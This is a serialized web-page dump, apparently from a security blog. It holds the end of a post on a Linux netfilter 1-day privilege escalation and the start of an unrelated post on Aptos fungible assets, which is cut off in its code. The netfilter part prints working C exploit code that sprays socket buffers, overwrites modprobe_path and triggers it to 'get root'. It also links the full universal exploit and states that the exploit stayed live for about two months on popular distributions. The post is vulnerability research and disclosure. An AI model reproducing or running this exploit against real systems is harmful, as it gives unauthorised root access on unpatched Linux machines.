4194304; i++)\n",{"type":24,"tag":930,"props":63156,"children":63157},{"class":932,"line":1057},[63158],{"type":24,"tag":930,"props":63159,"children":63160},{"style":1270},[63161],{"type":30,"value":1128},{"type":24,"tag":930,"props":63163,"children":63164},{"class":932,"line":1066},[63165],{"type":24,"tag":930,"props":63166,"children":63167},{"style":1270},[63168],{"type":30,"value":63169},"        pipebuf->page = modprobe_page;\n",{"type":24,"tag":930,"props":63171,"children":63172},{"class":932,"line":1075},[63173],{"type":24,"tag":930,"props":63174,"children":63175},{"style":1270},[63176],{"type":30,"value":63177},"        pipebuf->offset = modprobe_off;\n",{"type":24,"tag":930,"props":63179,"children":63180},{"class":932,"line":1122},[63181],{"type":24,"tag":930,"props":63182,"children":63183},{"style":1270},[63184],{"type":30,"value":63185},"        pipebuf->len = 0;\n",{"type":24,"tag":930,"props":63187,"children":63188},{"class":932,"line":1131},[63189],{"type":24,"tag":930,"props":63190,"children":63191},{"style":1270},[63192],{"type":30,"value":63193},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":24,"tag":930,"props":63195,"children":63196},{"class":932,"line":1144},[63197],{"type":24,"tag":930,"props":63198,"children":63199},{"style":1270},[63200],{"type":30,"value":2944},{"type":24,"tag":930,"props":63202,"children":63203},{"class":932,"line":1169},[63204],{"type":24,"tag":930,"props":63205,"children":63206},{"style":1270},[63207],{"type":30,"value":63208},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":24,"tag":930,"props":63210,"children":63211},{"class":932,"line":1191},[63212],{"type":24,"tag":930,"props":63213,"children":63214},{"style":1270},[63215],{"type":30,"value":3068},{"type":24,"tag":930,"props":63217,"children":63218},{"class":932,"line":1223},[63219,63224,63228,63232,63236,63241,63245,63249],{"type":24,"tag":930,"props":63220,"children":63221},{"style":1270},[63222],{"type":30,"value":63223},"                perror(\"",{"type":24,"tag":930,"props":63225,"children":63226},{"style":959},[63227],{"type":30,"value":6849},{"type":24,"tag":930,"props":63229,"children":63230},{"style":1158},[63231],{"type":30,"value":1215},{"type":24,"tag":930,"props":63233,"children":63234},{"style":959},[63235],{"type":30,"value":11770},{"type":24,"tag":930,"props":63237,"children":63238},{"style":943},[63239],{"type":30,"value":63240},"write",{"type":24,"tag":930,"props":63242,"children":63243},{"style":959},[63244],{"type":30,"value":1010},{"type":24,"tag":930,"props":63246,"children":63247},{"style":943},[63248],{"type":30,"value":45026},{"type":24,"tag":930,"props":63250,"children":63251},{"style":959},[63252],{"type":30,"value":63253},")\");\n",{"type":24,"tag":930,"props":63255,"children":63256},{"class":932,"line":1281},[63257,63261],{"type":24,"tag":930,"props":63258,"children":63259},{"style":1079},[63260],{"type":30,"value":62047},{"type":24,"tag":930,"props":63262,"children":63263},{"style":959},[63264],{"type":30,"value":5539},{"type":24,"tag":930,"props":63266,"children":63267},{"class":932,"line":1313},[63268],{"type":24,"tag":930,"props":63269,"children":63270},{"style":959},[63271],{"type":30,"value":1643},{"type":24,"tag":930,"props":63273,"children":63274},{"class":932,"line":1335},[63275],{"type":24,"tag":930,"props":63276,"children":63277},{"style":959},[63278],{"type":30,"value":1831},{"type":24,"tag":930,"props":63280,"children":63281},{"class":932,"line":1376},[63282],{"type":24,"tag":930,"props":63283,"children":63284},{"emptyLinePlaceholder":16},[63285],{"type":30,"value":2412},{"type":24,"tag":930,"props":63287,"children":63288},{"class":932,"line":1418},[63289,63293,63297,63301,63305,63309],{"type":24,"tag":930,"props":63290,"children":63291},{"style":1002},[63292],{"type":30,"value":57706},{"type":24,"tag":930,"props":63294,"children":63295},{"style":959},[63296],{"type":30,"value":1010},{"type":24,"tag":930,"props":63298,"children":63299},{"style":1158},[63300],{"type":30,"value":6230},{"type":24,"tag":930,"props":63302,"children":63303},{"style":959},[63304],{"type":30,"value":61860},{"type":24,"tag":930,"props":63306,"children":63307},{"style":1242},[63308],{"type":30,"value":1818},{"type":24,"tag":930,"props":63310,"children":63311},{"style":959},[63312],{"type":30,"value":61869},{"type":24,"tag":930,"props":63314,"children":63315},{"class":932,"line":1438},[63316,63320,63325,63329,63334,63339],{"type":24,"tag":930,"props":63317,"children":63318},{"style":1002},[63319],{"type":30,"value":58407},{"type":24,"tag":930,"props":63321,"children":63322},{"style":959},[63323],{"type":30,"value":63324},"(fd_path, ",{"type":24,"tag":930,"props":63326,"children":63327},{"style":937},[63328],{"type":30,"value":58417},{"type":24,"tag":930,"props":63330,"children":63331},{"style":959},[63332],{"type":30,"value":63333},"(fd_path), ",{"type":24,"tag":930,"props":63335,"children":63336},{"style":1270},[63337],{"type":30,"value":63338},"\"/proc/%i/fd/%i\"",{"type":24,"tag":930,"props":63340,"children":63341},{"style":959},[63342],{"type":30,"value":63343},", i, modprobe_fd);\n",{"type":24,"tag":930,"props":63345,"children":63346},{"class":932,"line":1479},[63347],{"type":24,"tag":930,"props":63348,"children":63349},{"emptyLinePlaceholder":16},[63350],{"type":30,"value":2412},{"type":24,"tag":930,"props":63352,"children":63353},{"class":932,"line":1506},[63354,63359,63364,63368],{"type":24,"tag":930,"props":63355,"children":63356},{"style":1002},[63357],{"type":30,"value":63358},"        lseek",{"type":24,"tag":930,"props":63360,"children":63361},{"style":959},[63362],{"type":30,"value":63363},"(modprobe_fd, ",{"type":24,"tag":930,"props":63365,"children":63366},{"style":1242},[63367],{"type":30,"value":1818},{"type":24,"tag":930,"props":63369,"children":63370},{"style":959},[63371],{"type":30,"value":63372},", SEEK_SET);\n",{"type":24,"tag":930,"props":63374,"children":63375},{"class":932,"line":1525},[63376,63381],{"type":24,"tag":930,"props":63377,"children":63378},{"style":1002},[63379],{"type":30,"value":63380},"        dprintf",{"type":24,"tag":930,"props":63382,"children":63383},{"style":959},[63384],{"type":30,"value":63385},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":24,"tag":930,"props":63387,"children":63388},{"class":932,"line":1569},[63389],{"type":24,"tag":930,"props":63390,"children":63391},{"emptyLinePlaceholder":16},[63392],{"type":30,"value":2412},{"type":24,"tag":930,"props":63394,"children":63395},{"class":932,"line":1592},[63396,63400,63404,63408,63412,63416,63421,63425,63430,63434,63438,63442,63446],{"type":24,"tag":930,"props":63397,"children":63398},{"style":1079},[63399],{"type":30,"value":3290},{"type":24,"tag":930,"props":63401,"children":63402},{"style":959},[63403],{"type":30,"value":1087},{"type":24,"tag":930,"props":63405,"children":63406},{"style":1002},[63407],{"type":30,"value":63240},{"type":24,"tag":930,"props":63409,"children":63410},{"style":959},[63411],{"type":30,"value":1010},{"type":24,"tag":930,"props":63413,"children":63414},{"style":1023},[63415],{"type":30,"value":61912},{"type":24,"tag":930,"props":63417,"children":63418},{"style":959},[63419],{"type":30,"value":63420},"[pipe_idx][",{"type":24,"tag":930,"props":63422,"children":63423},{"style":1242},[63424],{"type":30,"value":7129},{"type":24,"tag":930,"props":63426,"children":63427},{"style":959},[63428],{"type":30,"value":63429},"], fd_path, ",{"type":24,"tag":930,"props":63431,"children":63432},{"style":1242},[63433],{"type":30,"value":3222},{"type":24,"tag":930,"props":63435,"children":63436},{"style":959},[63437],{"type":30,"value":5579},{"type":24,"tag":930,"props":63439,"children":63440},{"style":1158},[63441],{"type":30,"value":1350},{"type":24,"tag":930,"props":63443,"children":63444},{"style":1242},[63445],{"type":30,"value":1245},{"type":24,"tag":930,"props":63447,"children":63448},{"style":959},[63449],{"type":30,"value":1054},{"type":24,"tag":930,"props":63451,"children":63452},{"class":932,"line":1610},[63453],{"type":24,"tag":930,"props":63454,"children":63455},{"style":959},[63456],{"type":30,"value":2944},{"type":24,"tag":930,"props":63458,"children":63459},{"class":932,"line":1628},[63460,63464,63468,63472,63476,63481],{"type":24,"tag":930,"props":63461,"children":63462},{"style":1002},[63463],{"type":30,"value":60986},{"type":24,"tag":930,"props":63465,"children":63466},{"style":959},[63467],{"type":30,"value":1010},{"type":24,"tag":930,"props":63469,"children":63470},{"style":1270},[63471],{"type":30,"value":23163},{"type":24,"tag":930,"props":63473,"children":63474},{"style":51463},[63475],{"type":30,"value":51466},{"type":24,"tag":930,"props":63477,"children":63478},{"style":1270},[63479],{"type":30,"value":63480},"[-] write(pipe)\"",{"type":24,"tag":930,"props":63482,"children":63483},{"style":959},[63484],{"type":30,"value":1278},{"type":24,"tag":930,"props":63486,"children":63487},{"class":932,"line":1637},[63488],{"type":24,"tag":930,"props":63489,"children":63490},{"style":959},[63491],{"type":30,"value":1831},{"type":24,"tag":930,"props":63493,"children":63494},{"class":932,"line":1646},[63495],{"type":24,"tag":930,"props":63496,"children":63497},{"emptyLinePlaceholder":16},[63498],{"type":30,"value":2412},{"type":24,"tag":930,"props":63500,"children":63501},{"class":932,"line":1673},[63502,63506,63510,63515],{"type":24,"tag":930,"props":63503,"children":63504},{"style":1079},[63505],{"type":30,"value":3290},{"type":24,"tag":930,"props":63507,"children":63508},{"style":959},[63509],{"type":30,"value":1087},{"type":24,"tag":930,"props":63511,"children":63512},{"style":1002},[63513],{"type":30,"value":63514},"check_modprobe",{"type":24,"tag":930,"props":63516,"children":63517},{"style":959},[63518],{"type":30,"value":63519},"(fd_path))\n",{"type":24,"tag":930,"props":63521,"children":63522},{"class":932,"line":1692},[63523],{"type":24,"tag":930,"props":63524,"children":63525},{"style":959},[63526],{"type":30,"value":2944},{"type":24,"tag":930,"props":63528,"children":63529},{"class":932,"line":1730},[63530,63535,63539,63544],{"type":24,"tag":930,"props":63531,"children":63532},{"style":1002},[63533],{"type":30,"value":63534},"            puts",{"type":24,"tag":930,"props":63536,"children":63537},{"style":959},[63538],{"type":30,"value":1010},{"type":24,"tag":930,"props":63540,"children":63541},{"style":1270},[63542],{"type":30,"value":63543},"\"[-] failed to overwrite modprobe\"",{"type":24,"tag":930,"props":63545,"children":63546},{"style":959},[63547],{"type":30,"value":1278},{"type":24,"tag":930,"props":63549,"children":63550},{"class":932,"line":1762},[63551,63555],{"type":24,"tag":930,"props":63552,"children":63553},{"style":1079},[63554],{"type":30,"value":6418},{"type":24,"tag":930,"props":63556,"children":63557},{"style":959},[63558],{"type":30,"value":5539},{"type":24,"tag":930,"props":63560,"children":63561},{"class":932,"line":1775},[63562],{"type":24,"tag":930,"props":63563,"children":63564},{"style":959},[63565],{"type":30,"value":1831},{"type":24,"tag":930,"props":63567,"children":63568},{"class":932,"line":1825},[63569],{"type":24,"tag":930,"props":63570,"children":63571},{"emptyLinePlaceholder":16},[63572],{"type":30,"value":2412},{"type":24,"tag":930,"props":63574,"children":63575},{"class":932,"line":1834},[63576,63580,63584,63589],{"type":24,"tag":930,"props":63577,"children":63578},{"style":1079},[63579],{"type":30,"value":3290},{"type":24,"tag":930,"props":63581,"children":63582},{"style":959},[63583],{"type":30,"value":1087},{"type":24,"tag":930,"props":63585,"children":63586},{"style":1002},[63587],{"type":30,"value":63588},"trigger_modprobe",{"type":24,"tag":930,"props":63590,"children":63591},{"style":959},[63592],{"type":30,"value":63593},"(status_fd))\n",{"type":24,"tag":930,"props":63595,"children":63596},{"class":932,"line":1843},[63597],{"type":24,"tag":930,"props":63598,"children":63599},{"style":959},[63600],{"type":30,"value":2944},{"type":24,"tag":930,"props":63602,"children":63603},{"class":932,"line":1851},[63604,63608,63612,63616,63620,63625],{"type":24,"tag":930,"props":63605,"children":63606},{"style":1002},[63607],{"type":30,"value":63534},{"type":24,"tag":930,"props":63609,"children":63610},{"style":959},[63611],{"type":30,"value":1010},{"type":24,"tag":930,"props":63613,"children":63614},{"style":1270},[63615],{"type":30,"value":23163},{"type":24,"tag":930,"props":63617,"children":63618},{"style":51463},[63619],{"type":30,"value":51466},{"type":24,"tag":930,"props":63621,"children":63622},{"style":1270},[63623],{"type":30,"value":63624},"[+] got root\"",{"type":24,"tag":930,"props":63626,"children":63627},{"style":959},[63628],{"type":30,"value":1278},{"type":24,"tag":930,"props":63630,"children":63631},{"class":932,"line":1919},[63632,63637],{"type":24,"tag":930,"props":63633,"children":63634},{"style":1079},[63635],{"type":30,"value":63636},"            goto",{"type":24,"tag":930,"props":63638,"children":63639},{"style":959},[63640],{"type":30,"value":63641}," out;\n",{"type":24,"tag":930,"props":63643,"children":63644},{"class":932,"line":1927},[63645],{"type":24,"tag":930,"props":63646,"children":63647},{"style":959},[63648],{"type":30,"value":1831},{"type":24,"tag":930,"props":63650,"children":63651},{"class":932,"line":1935},[63652],{"type":24,"tag":930,"props":63653,"children":63654},{"emptyLinePlaceholder":16},[63655],{"type":30,"value":2412},{"type":24,"tag":930,"props":63657,"children":63658},{"class":932,"line":1943},[63659,63664,63668,63672,63676,63680,63684,63688,63692,63697,63701],{"type":24,"tag":930,"props":63660,"children":63661},{"style":1079},[63662],{"type":30,"value":63663},"        for",{"type":24,"tag":930,"props":63665,"children":63666},{"style":959},[63667],{"type":30,"value":1087},{"type":24,"tag":930,"props":63669,"children":63670},{"style":937},[63671],{"type":30,"value":22149},{"type":24,"tag":930,"props":63673,"children":63674},{"style":959},[63675],{"type":30,"value":57633},{"type":24,"tag":930,"props":63677,"children":63678},{"style":1158},[63679],{"type":30,"value":1161},{"type":24,"tag":930,"props":63681,"children":63682},{"style":1242},[63683],{"type":30,"value":1245},{"type":24,"tag":930,"props":63685,"children":63686},{"style":959},[63687],{"type":30,"value":54322},{"type":24,"tag":930,"props":63689,"children":63690},{"style":1158},[63691],{"type":30,"value":1350},{"type":24,"tag":930,"props":63693,"children":63694},{"style":959},[63695],{"type":30,"value":63696}," SKBUF_SPRAY; i",{"type":24,"tag":930,"props":63698,"children":63699},{"style":1158},[63700],{"type":30,"value":54358},{"type":24,"tag":930,"props":63702,"children":63703},{"style":959},[63704],{"type":30,"value":1054},{"type":24,"tag":930,"props":63706,"children":63707},{"class":932,"line":1955},[63708],{"type":24,"tag":930,"props":63709,"children":63710},{"style":959},[63711],{"type":30,"value":2944},{"type":24,"tag":930,"props":63713,"children":63714},{"class":932,"line":1975},[63715,63719,63723,63728,63732,63737,63742,63746,63751,63755,63759,63764,63768,63772,63776],{"type":24,"tag":930,"props":63716,"children":63717},{"style":1079},[63718],{"type":30,"value":1485},{"type":24,"tag":930,"props":63720,"children":63721},{"style":959},[63722],{"type":30,"value":1087},{"type":24,"tag":930,"props":63724,"children":63725},{"style":1002},[63726],{"type":30,"value":63727},"read",{"type":24,"tag":930,"props":63729,"children":63730},{"style":959},[63731],{"type":30,"value":1010},{"type":24,"tag":930,"props":63733,"children":63734},{"style":1023},[63735],{"type":30,"value":63736},"sock",{"type":24,"tag":930,"props":63738,"children":63739},{"style":959},[63740],{"type":30,"value":63741},"[i][",{"type":24,"tag":930,"props":63743,"children":63744},{"style":1242},[63745],{"type":30,"value":7129},{"type":24,"tag":930,"props":63747,"children":63748},{"style":959},[63749],{"type":30,"value":63750},"], leak, ",{"type":24,"tag":930,"props":63752,"children":63753},{"style":1242},[63754],{"type":30,"value":61237},{"type":24,"tag":930,"props":63756,"children":63757},{"style":1158},[63758],{"type":30,"value":54344},{"type":24,"tag":930,"props":63760,"children":63761},{"style":1242},[63762],{"type":30,"value":63763}," 320",{"type":24,"tag":930,"props":63765,"children":63766},{"style":959},[63767],{"type":30,"value":5579},{"type":24,"tag":930,"props":63769,"children":63770},{"style":1158},[63771],{"type":30,"value":1350},{"type":24,"tag":930,"props":63773,"children":63774},{"style":1242},[63775],{"type":30,"value":1245},{"type":24,"tag":930,"props":63777,"children":63778},{"style":959},[63779],{"type":30,"value":1054},{"type":24,"tag":930,"props":63781,"children":63782},{"class":932,"line":1995},[63783],{"type":24,"tag":930,"props":63784,"children":63785},{"style":959},[63786],{"type":30,"value":3068},{"type":24,"tag":930,"props":63788,"children":63789},{"class":932,"line":2061},[63790,63795,63799,63804],{"type":24,"tag":930,"props":63791,"children":63792},{"style":1002},[63793],{"type":30,"value":63794},"                perror",{"type":24,"tag":930,"props":63796,"children":63797},{"style":959},[63798],{"type":30,"value":1010},{"type":24,"tag":930,"props":63800,"children":63801},{"style":1270},[63802],{"type":30,"value":63803},"\"[-] read(socket)\"",{"type":24,"tag":930,"props":63805,"children":63806},{"style":959},[63807],{"type":30,"value":1278},{"type":24,"tag":930,"props":63809,"children":63810},{"class":932,"line":2085},[63811,63816,63820,63824],{"type":24,"tag":930,"props":63812,"children":63813},{"style":1079},[63814],{"type":30,"value":63815},"                return",{"type":24,"tag":930,"props":63817,"children":63818},{"style":1158},[63819],{"type":30,"value":54344},{"type":24,"tag":930,"props":63821,"children":63822},{"style":1242},[63823],{"type":30,"value":7129},{"type":24,"tag":930,"props":63825,"children":63826},{"style":959},[63827],{"type":30,"value":5539},{"type":24,"tag":930,"props":63829,"children":63830},{"class":932,"line":2119},[63831],{"type":24,"tag":930,"props":63832,"children":63833},{"style":959},[63834],{"type":30,"value":1643},{"type":24,"tag":930,"props":63836,"children":63837},{"class":932,"line":2135},[63838],{"type":24,"tag":930,"props":63839,"children":63840},{"style":959},[63841],{"type":30,"value":1831},{"type":24,"tag":930,"props":63843,"children":63844},{"class":932,"line":2171},[63845],{"type":24,"tag":930,"props":63846,"children":63847},{"style":959},[63848],{"type":30,"value":1840},{"type":24,"tag":930,"props":63850,"children":63851},{"class":932,"line":2180},[63852,63856,63860,63865],{"type":24,"tag":930,"props":63853,"children":63854},{"style":1002},[63855],{"type":30,"value":58596},{"type":24,"tag":930,"props":63857,"children":63858},{"style":959},[63859],{"type":30,"value":1010},{"type":24,"tag":930,"props":63861,"children":63862},{"style":1270},[63863],{"type":30,"value":63864},"\"[-] fake modprobe failed\"",{"type":24,"tag":930,"props":63866,"children":63867},{"style":959},[63868],{"type":30,"value":1278},{"type":24,"tag":930,"props":63870,"children":63871},{"class":932,"line":2220},[63872],{"type":24,"tag":930,"props":63873,"children":63874},{"style":959},[63875],{"type":30,"value":990},{"type":24,"tag":33,"props":63877,"children":63878},{},[63879,63881,63888],{"type":30,"value":63880},"This trick has already been throughly detailed by ",{"type":24,"tag":37,"props":63882,"children":63885},{"href":63883,"rel":63884},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[41],[63886],{"type":30,"value":63887},"lau",{"type":30,"value":63889},", so we won't go much more into it.",{"type":24,"tag":151,"props":63891,"children":63893},{"id":63892},"universal-exploit-demo",[63894],{"type":30,"value":63895},"Universal exploit demo",{"type":24,"tag":33,"props":63897,"children":63898},{},[63899,63901,63907],{"type":30,"value":63900},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":24,"tag":37,"props":63902,"children":63905},{"href":63903,"rel":63904},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[41],[63906],{"type":30,"value":60504},{"type":30,"value":436},{"type":24,"tag":68,"props":63909,"children":63911},{"id":63910},"disclosure-timeline",[63912],{"type":30,"value":63913},"Disclosure Timeline",{"type":24,"tag":96,"props":63915,"children":63916},{},[63917,63922,63927,63932,63937],{"type":24,"tag":100,"props":63918,"children":63919},{},[63920],{"type":30,"value":63921},"March 21st -- Patch made public",{"type":24,"tag":100,"props":63923,"children":63924},{},[63925],{"type":30,"value":63926},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":24,"tag":100,"props":63928,"children":63929},{},[63930],{"type":30,"value":63931},"March 24th -- Wrote KernelCTF exploit",{"type":24,"tag":100,"props":63933,"children":63934},{},[63935],{"type":30,"value":63936},"March 26th -- Wrote Universal exploit",{"type":24,"tag":100,"props":63938,"children":63939},{},[63940],{"type":30,"value":63941},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":24,"tag":33,"props":63943,"children":63944},{},[63945],{"type":30,"value":63946},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":24,"tag":68,"props":63948,"children":63949},{"id":5876},[63950],{"type":30,"value":5879},{"type":24,"tag":33,"props":63952,"children":63953},{},[63954],{"type":30,"value":63955},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":24,"tag":33,"props":63957,"children":63958},{},[63959],{"type":30,"value":63960},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":24,"tag":5957,"props":63962,"children":63963},{},[63964],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":63966},[63967,63970,63973,63976,63977,63987,63995,63996],{"id":53657,"depth":984,"text":53660,"children":63968},[63969],{"id":53677,"depth":993,"text":53680},{"id":53720,"depth":984,"text":53720,"children":63971},[63972],{"id":53767,"depth":993,"text":53770},{"id":53825,"depth":984,"text":53828,"children":63974},[63975],{"id":54988,"depth":993,"text":54991},{"id":56863,"depth":984,"text":56866},{"id":57265,"depth":984,"text":57268,"children":63978},[63979,63980,63981,63983,63984,63985,63986],{"id":57292,"depth":993,"text":57295},{"id":58174,"depth":993,"text":58177},{"id":58760,"depth":993,"text":63982},"Leaking self pointer of nft_object",{"id":59158,"depth":993,"text":59161},{"id":59672,"depth":993,"text":59675},{"id":59802,"depth":993,"text":59459},{"id":60485,"depth":993,"text":60488},{"id":60508,"depth":984,"text":60511,"children":63988},[63989,63990,63991,63992,63994],{"id":60519,"depth":993,"text":60522},{"id":61377,"depth":993,"text":61380},{"id":61453,"depth":993,"text":61456},{"id":63076,"depth":993,"text":63993},"Overwriting modprobe_path",{"id":63892,"depth":993,"text":63895},{"id":63910,"depth":984,"text":63913},{"id":5876,"depth":984,"text":5879},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":64001,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":64002,"description":64003,"image":64004,"date":64006,"isFeatured":16,"onBlogPage":16,"tags":64007,"body":64008,"_type":5983,"_id":70723,"_source":5985,"_file":70724,"_stem":70725,"_extension":5988},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":64005,"width":8498,"height":8499},"/posts/aptos-guide/title.png","2025-02-10",[8992],{"type":21,"children":64009,"toc":70707},[64010,64023,64028,64037,64043,64071,64144,64184,64218,64379,64398,64479,64519,64547,64564,64569,64577,64582,64588,64609,64689,64722,64730,64743,64748,65131,65136,65141,65147,65152,65164,65268,65306,65309,65327,65635,65640,65652,65658,65684,65705,65710,65889,65909,65915,65935,65947,65952,65958,65970,66033,66060,66084,66305,66308,66327,66437,66493,66629,66656,66662,66688,66932,66960,67262,67295,67309,67335,67368,67675,67687,67964,67978,68295,68314,68320,68352,68392,68493,68513,68633,68650,68724,68736,68824,68845,68851,68856,68861,68878,68899,69270,69329,69334,69785,69790,69826,69832,69844,69865,69891,70098,70112,70367,70379,70406,70557,70576,70606,70610,70621,70626,70639,70703],{"type":24,"tag":33,"props":64011,"children":64012},{},[64013,64015,64021],{"type":30,"value":64014},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":24,"tag":156,"props":64016,"children":64018},{"className":64017},[],[64019],{"type":30,"value":64020},"coin",{"type":30,"value":64022}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":24,"tag":33,"props":64024,"children":64025},{},[64026],{"type":30,"value":64027},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":24,"tag":64029,"props":64030,"children":64031},"important",{},[64032],{"type":24,"tag":33,"props":64033,"children":64034},{},[64035],{"type":30,"value":64036},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":24,"tag":68,"props":64038,"children":64040},{"id":64039},"aptos-coin-standard",[64041],{"type":30,"value":64042},"Aptos Coin standard",{"type":24,"tag":33,"props":64044,"children":64045},{},[64046,64048,64054,64056,64061,64062,64069],{"type":30,"value":64047},"In the beginning, Aptos used ",{"type":24,"tag":156,"props":64049,"children":64051},{"className":64050},[],[64052],{"type":30,"value":64053},"Coin",{"type":30,"value":64055},". It is still in use, although it is now considered \"legacy\". ",{"type":24,"tag":156,"props":64057,"children":64059},{"className":64058},[],[64060],{"type":30,"value":64053},{"type":30,"value":3678},{"type":24,"tag":37,"props":64063,"children":64066},{"href":64064,"rel":64065},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[41],[64067],{"type":30,"value":64068},"defined",{"type":30,"value":64070}," in Aptos as follows:",{"type":24,"tag":920,"props":64072,"children":64074},{"className":6102,"code":64073,"language":6101,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[64075],{"type":24,"tag":156,"props":64076,"children":64077},{"__ignoreMap":7},[64078,64117,64137],{"type":24,"tag":930,"props":64079,"children":64080},{"class":932,"line":933},[64081,64085,64089,64093,64097,64101,64105,64109,64113],{"type":24,"tag":930,"props":64082,"children":64083},{"style":937},[64084],{"type":30,"value":12509},{"type":24,"tag":930,"props":64086,"children":64087},{"style":943},[64088],{"type":30,"value":8914},{"type":24,"tag":930,"props":64090,"children":64091},{"style":959},[64092],{"type":30,"value":1350},{"type":24,"tag":930,"props":64094,"children":64095},{"style":1023},[64096],{"type":30,"value":8923},{"type":24,"tag":930,"props":64098,"children":64099},{"style":943},[64100],{"type":30,"value":8928},{"type":24,"tag":930,"props":64102,"children":64103},{"style":959},[64104],{"type":30,"value":8933},{"type":24,"tag":930,"props":64106,"children":64107},{"style":1023},[64108],{"type":30,"value":8938},{"type":24,"tag":930,"props":64110,"children":64111},{"style":1023},[64112],{"type":30,"value":8943},{"type":24,"tag":930,"props":64114,"children":64115},{"style":959},[64116],{"type":30,"value":981},{"type":24,"tag":930,"props":64118,"children":64119},{"class":932,"line":984},[64120,64125,64129,64133],{"type":24,"tag":930,"props":64121,"children":64122},{"style":1023},[64123],{"type":30,"value":64124},"    value",{"type":24,"tag":930,"props":64126,"children":64127},{"style":1158},[64128],{"type":30,"value":476},{"type":24,"tag":930,"props":64130,"children":64131},{"style":943},[64132],{"type":30,"value":8972},{"type":24,"tag":930,"props":64134,"children":64135},{"style":959},[64136],{"type":30,"value":2832},{"type":24,"tag":930,"props":64138,"children":64139},{"class":932,"line":993},[64140],{"type":24,"tag":930,"props":64141,"children":64142},{"style":959},[64143],{"type":30,"value":2528},{"type":24,"tag":33,"props":64145,"children":64146},{},[64147,64149,64154,64156,64162,64163,64169,64171,64176,64178,64183],{"type":30,"value":64148},"Aptos distinguishes coins by their type (",{"type":24,"tag":156,"props":64150,"children":64152},{"className":64151},[],[64153],{"type":30,"value":9695},{"type":30,"value":64155},") at compile time. For example, ",{"type":24,"tag":156,"props":64157,"children":64159},{"className":64158},[],[64160],{"type":30,"value":64161},"Coin\u003COtter>",{"type":30,"value":211},{"type":24,"tag":156,"props":64164,"children":64166},{"className":64165},[],[64167],{"type":30,"value":64168},"Coin\u003CWeasel>",{"type":30,"value":64170}," represent different coins, and you cannot pass a ",{"type":24,"tag":156,"props":64172,"children":64174},{"className":64173},[],[64175],{"type":30,"value":64168},{"type":30,"value":64177}," to a function expecting ",{"type":24,"tag":156,"props":64179,"children":64181},{"className":64180},[],[64182],{"type":30,"value":64161},{"type":30,"value":436},{"type":24,"tag":33,"props":64185,"children":64186},{},[64187,64189,64194,64196,64201,64203,64208,64210,64216],{"type":30,"value":64188},"The type signature reveals why ",{"type":24,"tag":156,"props":64190,"children":64192},{"className":64191},[],[64193],{"type":30,"value":64053},{"type":30,"value":64195}," has become a legacy standard. ",{"type":24,"tag":156,"props":64197,"children":64199},{"className":64198},[],[64200],{"type":30,"value":64053},{"type":30,"value":64202}," has only the ",{"type":24,"tag":156,"props":64204,"children":64206},{"className":64205},[],[64207],{"type":30,"value":9053},{"type":30,"value":64209}," ability and uses a ",{"type":24,"tag":156,"props":64211,"children":64213},{"className":64212},[],[64214],{"type":30,"value":64215},"CoinStore",{"type":30,"value":64217}," wrapper to store the coin and metadata:",{"type":24,"tag":920,"props":64219,"children":64221},{"className":6102,"code":64220,"language":6101,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[64222],{"type":24,"tag":156,"props":64223,"children":64224},{"__ignoreMap":7},[64225,64265,64293,64313,64343,64372],{"type":24,"tag":930,"props":64226,"children":64227},{"class":932,"line":933},[64228,64232,64237,64241,64245,64249,64253,64257,64261],{"type":24,"tag":930,"props":64229,"children":64230},{"style":937},[64231],{"type":30,"value":12509},{"type":24,"tag":930,"props":64233,"children":64234},{"style":943},[64235],{"type":30,"value":64236}," 